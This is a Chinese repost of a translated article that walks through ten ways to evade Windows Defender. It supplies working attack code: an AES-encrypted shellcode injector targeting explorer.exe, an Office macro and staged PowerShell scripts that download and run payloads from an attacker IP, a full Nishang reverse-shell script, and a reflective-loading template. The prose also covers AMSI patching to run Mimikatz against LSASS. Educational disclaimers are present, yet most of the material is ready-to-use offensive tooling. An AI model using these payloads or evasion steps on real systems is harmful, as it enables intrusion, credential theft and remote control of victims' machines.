绕过Windows Defender(10种方法)
2023-6-16 08:31:16 Author: 浪飒sec(查看原文) 阅读量:55 收藏

免责声明

本公众号所发布的文章及工具只限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。

翻译自:https://www.fo-sec.com/articles/10-defender-bypass-methods

我看不懂,所以发出来给你们看看。

需要md或pdf文件的后台回复230616

前言

在这篇文章中,我将解释10种绕过完全更新的Windows系统的方法/技术,使用最新的Windows Defender英特尔来执行不受限制的代码(即除了权限/ ACL之外)。

用于测试的设置包括以下内容:

  • 使用Ubuntu Linux AMI作为攻击者C2服务器的AWS EC2。
  • 使用Windows Server 2019 AMI作为受害机器的AWS EC2。
  • 本地Windows 10机器与Visual Studio 2022社区用于恶意软件开发/编译。
  • 本地Kali Linux攻击机。

请注意,我不会对许多概念进行太深入的讨论,我将假设大部分都是基本知识。此外,我也没有选择过于复杂的技术,例如直接系统调用或硬件断点,因为这对av来说是多余的,无论如何,它们最好在针对edr的文章中进行更好的解释。

免责声明:本文提供的信息仅用于教育和道德目的。所描述的技术和工具旨在以合法和负责任的方式使用,并得到目标系统所有者的明确同意。任何未经授权或恶意使用这些技术和工具的行为都是严格禁止的,并可能导致法律后果。我不负责任何损害或法律问题,可能产生的滥用所提供的信息。

1. 内存中AMSI/ETW补丁

我想解释的第一个方法也是我个人使用最多的方法,因为它非常方便和快速执行。

AMSI,或反恶意软件扫描接口,是一个与供应商无关的Windows安全控件,它扫描PowerShell, wscript, cscript, Office宏等,并将遥测信息发送给安全提供商(在我们的案例中是Defender),以确定它是否是恶意的。

ETW,即Windows的事件跟踪,是另一种记录用户模式和内核驱动程序上发生的事件的安全机制。然后,供应商可能会从进程中分析这些信息,以确定它是否具有恶意意图。

不幸的是,Windows Defender工作时很少有来自PowerShell会话的遥测。具体来说,为当前进程修补AMSI将允许我们执行任何我们决定的无文件恶意软件,包括工具(Mimikatz, Rubeus等)和反向shell。

对于这个概念证明,我将使用evil-winrm Bypass-4MSI内置函数,但是在PowerShell脚本或可执行文件中制作我们自己的AMSI/ETW补丁程序非常容易,稍后我们将看到。

因此,使用Mimikatz从LSASS进程转储内存中登录的kill链使用此方法如下:

内存中AMSI补丁PoC

img

为了更好地理解,这组命令可以在更高的层次上以以下方式进行解释:

  • 尝试编写众所周知的“Invoke-Mimikatz”触发器,以测试Defender是否处于活动状态。
  • 执行evil-winrm Bypass-4MSI函数,在当前PowerShell会话中修补AMSI。
  • 再次调用AV触发器,看看AMSI遥测是否工作(正如我们所看到的,它不再工作了)。
  • 在内存中加载真正的Invoke-Mimikatz PowerShell模块。
  • 执行Mimikatz从LSASS转储登录密码。

请注意,Mimikatz的执行只是为了演示,但是您可以在没有AMSI遥测的PowerShell终端上执行几乎所有操作。

2. 代码混淆

对于像C/ c++这样的本地编译语言来说,代码混淆通常是不需要的,也不值得花时间,因为编译器无论如何都会应用大量优化。但是大部分恶意软件和工具都是用c#编写的,有时也用Java编写。这些语言被编译成字节码/MSIL/CIL,可以很容易地进行反向工程。这意味着您需要应用一些代码混淆来避免签名检测。

有许多可用的开源混淆器,但我将基于h4wkst3r的invisbilitycloak c#混淆器工具进行本节的概念验证。

例如,使用GhostPack的认证工具(通常用于在域中查找易受攻击的证书),我们可以利用上述工具绕过防御器,如下所示。

验证Defender正在运行并阻止默认的认证构建

img

使用InvisibilityCloak混淆认证代码

img

尝试运行模糊认证

img

我们可以看到,它现在工作没有问题,但是它抛出错误,因为VM不是域加入或域控制器。

然后我们可以得出结论,它是有效的,然而,要注意一些工具可能需要比其他工具更深入的混淆。例如,在这个实例中我选择了Certify而不是Rubeus,因为它更容易用于简单的演示目的。

3.编译时混淆

对于本地编译的语言,如C、c++、Rust等,你可以利用编译时混淆来隐藏子程序和通用指令流的真实行为。

根据语言的不同,可能存在不同的方法。由于我的恶意软件开发首选是c++,因此我将解释我尝试过的两种方法:LLVM混淆和模板元编程。

对于LLVM混淆,目前最大的公共工具是obfusator -LLVM。该项目是LLVM的一个分支,它通过对生成的二进制文件进行混淆来增加一层安全性。目前实现的新增功能如下:

  • 指令替换。混淆汇编指令,以更大的计算复杂性产生等效的行为。
  • 伪造控制流。添加垃圾指令块以隐藏原始指令代码流。
  • 控制流平坦化。使分支和跳转更难预测,以隐藏有意的指令流。

总之,该工具生成的二进制文件通常很难被人类/自动驾驶/ edr静态分析。

另一方面,模板元编程是一种c++技术,允许开发人员创建在编译时生成源代码的模板。这允许在每次编译时生成不同的二进制文件,创建无限数量的分支和代码块等。

我知道并为此目的使用的两个公共框架如下:

  • https://github.com/andrivet/ADVobfuscator
  • https://github.com/fritzone/obfy

对于这个PoC,我将使用第二个,因为我发现它通常更容易使用。

此外,对于PoC,我将使用TheD1rkMtr的AMSI_patch作为默认二进制文件来混淆,因为它是一个非常简单的c++项目。混淆后的二进制代码可以在这里找到。

首先,让我们看一下Ghidra下的基本二叉函数树。

默认二叉函数树

img

正如我们所看到的,这并不难分析。您可以在第三个FUN_例程下找到main函数。

默认二进制main函数

img

这看起来很容易分析和理解它的行为(在这种情况下通过AMSIOpenSession修补AMSI)。

现在让我们看一下这个模糊的二叉函数树。

混淆二叉函数树

img

这看起来很难进行静态分析,因为有许多嵌套函数。正如我们所看到的,这些是基于模板引入的函数。

混淆二进制垃圾函数

img

它们是简单的垃圾函数,但对于隐藏真实行为非常有用。

现在进行最后的测试,让我们在真正的Windows系统上对PoC进行测试。请注意,由于二进制通过PID作为参数对给定进程的AMSI进行补丁,因此PoC将与第一种方法非常相似;为当前PowerShell会话修补AMSI以逃避Defender的内存扫描。

编译时混淆PoC

img

而且,正如我们所看到的,它工作了,Defender没有静态地停止二进制文件,也没有在运行时停止,允许我们为进程远程修补AMSI。

4.二进制混淆/加壳

一旦你已经生成了二进制文件,你的选项主要如下:

  • 混淆二进制文件的汇编指令。
  • 打包二进制文件。
  • 加密二进制文件的内容,以便在运行时解密它。
  • 可选地,将其转换为shellcode以供以后操作和注入。

从第一个开始,我们有几个可用的开源选项,包括例如:

  • Alcatraz
  • Metame
  • ropfuscator(遗憾的是目前仅适用于 Linux)

在高层次上,Alcatraz通过几种方式修改二进制程序集来工作,例如混淆控制流、添加垃圾指令、未优化指令以及在运行前隐藏真正的入口点。

另一方面,Metame的工作原理是在每次运行时使用随机性生成不同的程序集(尽管总是等效的行为)。这被称为变形代码,通常被真正的恶意软件使用。

最后,正如其名称所示,ROPfuscator的工作原理是利用面向返回的编程从原始代码构建ROP小工具和链,从而隐藏原始代码流,不受静态分析的影响,甚至不受动态分析的影响,因为启发式分析顺序恶意调用会更困难。下图更好地描述了整个过程。

ROPfuscator架构

img

继续讲二进制封隔器,封隔器的基本结构可以用下图来描述。

PE封隔器结构

img

在此过程中,给定的打包工具将本机编译的PE嵌入到另一个可执行文件中,该可执行文件包含解包原始内容并执行该内容所需的信息。也许最著名的打包程序,它甚至不是恶意目的,是Golang的UPX包。

此外,有个 PE Crypter 的工作原理是加密可执行文件的内容并生成一个可执行文件,该可执行文件将在运行时解密原始 PE。这对 AV 非常有用,因为它们中的大多数依赖于静态分析而不是运行时行为(如 EDR)。因此,在运行之前完全隐藏可执行文件的内容可能非常有效,除非 AV 已生成针对加密/解密方法的签名,这就是我尝试使用nimpcrypt的情况。

https://github.com/icyguider/nimcrypt

最后,我们还可以选择将原生 PE 转换回 shellcode。例如,这可以通过hasherezade 的 pe_to_shellcode 工具来完成。

https://github.com/hasherezade/pe_to_shellcode

现在已经解释了从可执行文件开始规避 AV 的所有可能方法,我想提一下将所有步骤合并到一个工具中的框架:KlezVirus 的 inceptor。该工具可能会变得非常复杂,并且大多数步骤对于简单的 Defender 规避都不需要,但下图可能会更好地解释它:

https://github.com/klezVirus/inceptor
img

与以前的工具相比,interceptor允许开发人员创建自定义模板,在工作流的每个步骤修改二进制文件,这样,即使为公共模板生成签名,您也可以拥有自己的私有模板来绕过EDR钩子,修补AMSI/ETW,使用硬件断点,使用直接系统调用而不是内存dll,等等。

5. 加密Shellcode注入

Shellcode注入是一种非常著名的技术,它包括在给定的牺牲进程中插入/注入位置无关的Shellcode,最终在内存中执行它。这可以通过多种方式实现。请看下面的图片,可以很好地总结出一些众所周知的问题。

https://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html
img

然而,在本文中,我将讨论并演示以下方法:

  1. 使用Process.GetProcessByName定位资源管理器进程并获取其 PID。
  2. 通过具有 0x001F0FFF 访问权限的OpenProcess打开进程。
  3. 通过VirtualAllocEx在 explorer 进程中为我们的 shellcode 分配内存。
  4. 通过WriteProcessMemory在进程中写入shellcode 。
  5. 最后,创建一个线程,通过 CreateRemoteThread 执行我们的 Position-Independent Shellcode 。

当然,拥有包含恶意shellcode的可执行文件将是一个非常糟糕的主意,因为它会立即被Defender标记。为了解决这个问题,我们将首先用AES-128 CBC和PKCS7填充加密shellcode,以便隐藏其真实行为和组成,直到运行时(Defender真的很弱)。

首先,我们需要生成初始的shellcode。对于这个概念证明,我将使用msfvenom的一个简单的TCP反向shell。

img

一旦我们有了它,我们就需要一种加密的方法。为此,我将使用以下c#代码,但请随意以其他方式加密(例如,cyberchef)。

Encrypter.cs

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEnc
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] aesshell = EncryptShell(buf, Key, IV);
StringBuilder hex = new StringBuilder(aesshell.Length * 2);
int totalCount = aesshell.Length;
foreach (byte b in aesshell)
{
if ((b + 1) == totalCount)
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
}
Console.WriteLine(hex);

}

private static byte[] GetIV(int num)
{
var randomBytes = new byte[num];
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}

return randomBytes;
}

private static byte[] GetKey(int size)
{
char[] caRandomChars = "[email protected]#$%^&*()".ToCharArray();
byte[] CKey = new byte[size];
using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
{
crypto.GetBytes(CKey);
}
return CKey;
}

private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return AESEncryptedShellCode(CShellcode, encryptor);
}
}
}

private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
{
using (var msEncShellCode = new MemoryStream())
using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(CShellcode, 0, CShellcode.Length);
cryptoStream.FlushFinalBlock();
return msEncShellCode.ToArray();
}
}
}
}

使用“buf”变量中的初始 shellcode 编译并运行上述代码,将生成我们将在注入程序中使用的加密字节。

对于这个 PoC,我还选择了 C# 作为注入器的语言,但可以随意使用任何其他支持 Win32 API 的语言(C/C++、Rust 等)。最后,将用于注入器的代码如下:

Injector.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace AESInject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

static void Main(string[] args)
{
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
byte[] DShell = AESDecrypt(buf, Key, IV);
StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
foreach (byte b in DShell)
{
hexCodes.AppendFormat("0x{0:x2},", b);
}
int size = DShell.Length;
Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

}

private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return GetDecrypt(CEncryptedShell, decryptor);
}
}
}
private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}

}

对于本文,我编译了带有依赖关系的程序,以便于传输到 EC2,但您可以随意将其编译成一个独立的二进制文件,大约 50-60 MB。

执行注入器

img

最后,我们可以在我们的攻击者/C2 机器上使用 netcat 设置一个监听器,并在受害者机器上执行 Injector,同时获取到反向shell:

img

6. Donut shellcode加载

TheWover 的 Donut 项目是一个可以在内存中执行 VBScript、JScript、EXE、DLL 文件的 shellcode加载器。根据给定的输入文件,它以不同的方式工作。对于这个 PoC,我将使用 Mimikatz,所以让我们看看它是如何在高层次上工作的。简单看一下代码,这就是 Donut.exe 可执行工具的主要例程:

https://github.com/thewover/donut

Donut .c

// 1. validate the loader configuration
err = validate_loader_cfg(c);
if(err == DONUT_ERROR_OK) {
// 2. get information about the file to execute in memory
err = read_file_info(c);
if(err == DONUT_ERROR_OK) {
// 3. validate the module configuration
err = validate_file_cfg(c);
if(err == DONUT_ERROR_OK) {
// 4. build the module
err = build_module(c);
if(err == DONUT_ERROR_OK) {
// 5. build the instance
err = build_instance(c);
if(err == DONUT_ERROR_OK) {
// 6. build the loader
err = build_loader(c);
if(err == DONUT_ERROR_OK) {
// 7. save loader and any additional files to disk
err = save_loader(c);
}
}
}
}
}
}
// if there was some error, release resources
if(err != DONUT_ERROR_OK) {
DonutDelete(c);
}

在所有这些中,也许最有趣的是build_loader,它包含以下代码:

build_loader函数

uint8_t *pl;
uint32_t t;

// target is x86?
if(c->arch == DONUT_ARCH_X86) {
c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
} else
// target is amd64?
if(c->arch == DONUT_ARCH_X64) {
c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
} else
// target can be both x86 and amd64?
if(c->arch == DONUT_ARCH_X84) {
c->pic_len = sizeof(LOADER_EXE_X86) +
sizeof(LOADER_EXE_X64) + c->inst_len + 32;
}
// allocate memory for shellcode
c->pic = malloc(c->pic_len);

if(c->pic == NULL) {
DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
return DONUT_ERROR_NO_MEMORY;
}

DPRINT("Inserting opcodes");

// insert shellcode
pl = (uint8_t*)c->pic;

// call $ + c->inst_len
PUT_BYTE(pl, 0xE8);
PUT_WORD(pl, c->inst_len);
PUT_BYTES(pl, c->inst, c->inst_len);
// pop ecx
PUT_BYTE(pl, 0x59);

// x86?
if(c->arch == DONUT_ARCH_X86) {
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);

DPRINT("Copying %" PRIi32 " bytes of x86 shellcode",
(uint32_t)sizeof(LOADER_EXE_X86));

PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
} else
// AMD64?
if(c->arch == DONUT_ARCH_X64) {

DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode",
(uint32_t)sizeof(LOADER_EXE_X64));

// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention

// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);

PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
} else
// x86 + AMD64?
if(c->arch == DONUT_ARCH_X84) {

DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
(uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));

// xor eax, eax
PUT_BYTE(pl, 0x31);
PUT_BYTE(pl, 0xC0);
// dec eax
PUT_BYTE(pl, 0x48);
// js dword x86_code
PUT_BYTE(pl, 0x0F);
PUT_BYTE(pl, 0x88);
PUT_WORD(pl, sizeof(LOADER_EXE_X64) + 5);

// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention

// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);

PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
}
return DONUT_ERROR_OK;

同样,从一个简短的分析来看,这个子例程基于原始可执行文件为以后的注入创建/准备位置无关的shellcode,插入汇编指令以根据每个体系结构对齐堆栈,并使代码的流跳转到可执行文件的原始shellcode。请注意,这可能不是最新的代码,因为该文件的最后一次提交是在2022年12月,最新发布是在2023年3月。但是给了一个关于它如何工作的好主意。

最后,为了证明本节的概念,我将执行一个默认的Mimikatz,该Mimikatz通过将shellcode注入本地powershell进程直接从gentilkiwi的存储库中获得。为此,我们需要首先生成PI代码。

执行注入器

img

一旦生成了shellcode,我们就可以随意使用任何注入器了。幸运的是,最新版本已经提供了一个本地注入器(针对执行它的进程)和一个远程注入器(针对另一个进程),微软还没有为它们生成签名,所以我将使用它。

执行注入器

img

7. 自定义工具

Mimikatz、Rubeus、Certify、PowerView、BloodHound等工具之所以流行,是因为它们在一个包中实现了很多功能。这对于恶意行为者来说非常有用,因为他们只需要使用几个工具就可以自动传播恶意软件。然而,这也意味着供应商很容易通过注册其签名字节(例如,菜单字符串,c#中的类/命名空间名称等)来关闭整个工具。

为了解决这个问题,也许我们不需要一个充满注册签名的2-5MB的工具来执行我们需要的一两个功能。例如,要转储登录密码/哈希值,我们可以利用整个Mimikatz项目的sekurlsa::logonpasswords函数,但我们也可以以完全不同的方式编写自己的LSASS转储器和解析器,但具有类似的行为和API调用。

对于第一个示例,我将使用Cracked5pider的LsaParser。

LsaParser执行

img

不幸的是,它不是为Windows Server开发的,所以我不得不在我本地的Windows 10上使用它,但是你明白了。

对于第二个示例,假设我们的目标是枚举整个Active Directory域中的共享。我们可以使用PowerView的Find-DomainShare来实现这一点,然而,它是最知名的开源工具之一,因此,为了更隐蔽,我们可以基于本地Windows API开发我们自己的共享查找工具,如下所示。

RemoteShareEnum.cpp

#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment(lib, "Netapi32.lib")

int wmain(DWORD argc, WCHAR* lpszArgv[])
{

PSHARE_INFO_502 BufPtr, p;
PSHARE_INFO_1 BufPtr2, p2;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i,denied=0;
switch (argc)
{
case 1:
wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
return 1;

default:
break;
}
wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
wprintf(L"-------------------------------------------------------------------------------------\n\n");
for (DWORD iter = 1; iter <= argc-1; iter++) {
lpszServer = lpszArgv[iter];
do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
p++;
}
NetApiBufferFree(BufPtr);
}
else if (res == ERROR_ACCESS_DENIED) {
denied = 1;
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
if (denied == 1) {
do
{
res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p2 = BufPtr2;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark, lpszServer);
p2++;
}

NetApiBufferFree(BufPtr2);
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
}

}
while (res == ERROR_MORE_DATA);
denied = 0;
}

wprintf(L"-------------------------------------------------------------------------------------\n\n");
}
return 0;

}

该工具在高层次上利用了Win32 API中的NetShareEnum函数来远程检索从任何输入端点提供的共享。默认情况下,它尝试特权的SHARE_INFO_502访问级别,该级别显示一些额外的信息,如磁盘路径、连接数等。如果失败,则返回到访问级别SHARE_INFO_1,该级别仅显示资源的名称,但任何非特权用户都可以枚举该资源(除非特定ACL阻止)。

请随意使用这个工具,在这里可以找到。

https://github.com/florylsk/RemoteShareEnum

现在,我们可以像下面这样使用它:

RemoteShareEnum执行

img

当然,定制工具可能是一项非常耗时的任务,并且需要非常深入地了解Windows内部,但它有可能击败本文中介绍的所有其他方法。因此,如果其他一切都失败了,应该考虑到这一点。也就是说,我仍然认为它对于Defender/ av来说是过度的,它更适合于EDR规避,因为你可以控制并包含你自己选择的API调用、断点、顺序、垃圾数据/指令、混淆等。

8. 负载分段

无论如何,将有效负载分解为渐进阶段并不是一种新技术,威胁参与者通常使用它来传播恶意软件,以逃避初始静态分析。这是因为真正的恶意有效负载将在稍后的阶段被检索和执行,而静态分析可能没有机会发挥作用。

对于这个PoC,我将展示一种非常简单但有效的方法来实现反向shell有效负载,例如,使用以下宏创建恶意Office文件:

执行第一阶段的宏

Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub

当然,这不会被AV静态地检测到,因为它只是在执行一个看似无害的命令。

由于我没有安装Office,我将通过在PowerShell脚本中手动执行上述命令来模拟网络钓鱼过程。

最后,本节的概念证明如下:

txt(这将是在钓鱼宏中执行的命令)

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")

stage1.txt

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")

stage2.txt

function Invoke-PowerShellTcp 
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(

[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,

[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,

[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,

[Parameter(ParameterSetName="bind")]
[Switch]
$Bind

)

try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}

#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x

#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}

Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

这里有几件事要注意。首先,ref.txt 是一个简单的 PowerShell AMSI 绕过,它允许我们为当前的 PowerShell 进程修补内存中 AMSI 扫描。此外,在这种情况下,PowerShell 脚本的扩展名无关紧要,因为它们的内容将作为文本简单地下载并使用 Invoke-Expression(IEX 的别名)调用。

然后我们可以执行完整的 PoC,如下所示:

在我们的受害者中执行Stage 0

img

受害者从C2上下载舞台

img

在攻击者服务器中获取反向shell

img

9. 反射加载

您可能还记得在第一节中,我们在修补内存中的AMSI后执行Mimikatz,以演示Defender停止扫描进程的内存。这是因为。net公开了System.Reflection.Assembly API,我们可以使用它在内存中反射地加载和执行。net程序集(定义为“表示一个程序集,它是公共语言运行时应用程序的可重用、可版本化和自描述的构建块”)。

这对于攻击性目的当然是非常有用的,因为PowerShell使用。net,我们可以在脚本中使用它来加载内存中的整个二进制文件,以绕过Windows Defender所擅长的静态分析。

脚本的一般结构如下:

反射加载模板

function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)

$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)

[ClassName.Program]::main([string[]]$args)

[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results

}

Gzip 仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中。之后,我们可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数

因此,我们可以执行以下杀伤链来执行我们想要的任何二进制文件:

  • AMSI/ETW 补丁。
  • 反射加载并执行程序集。

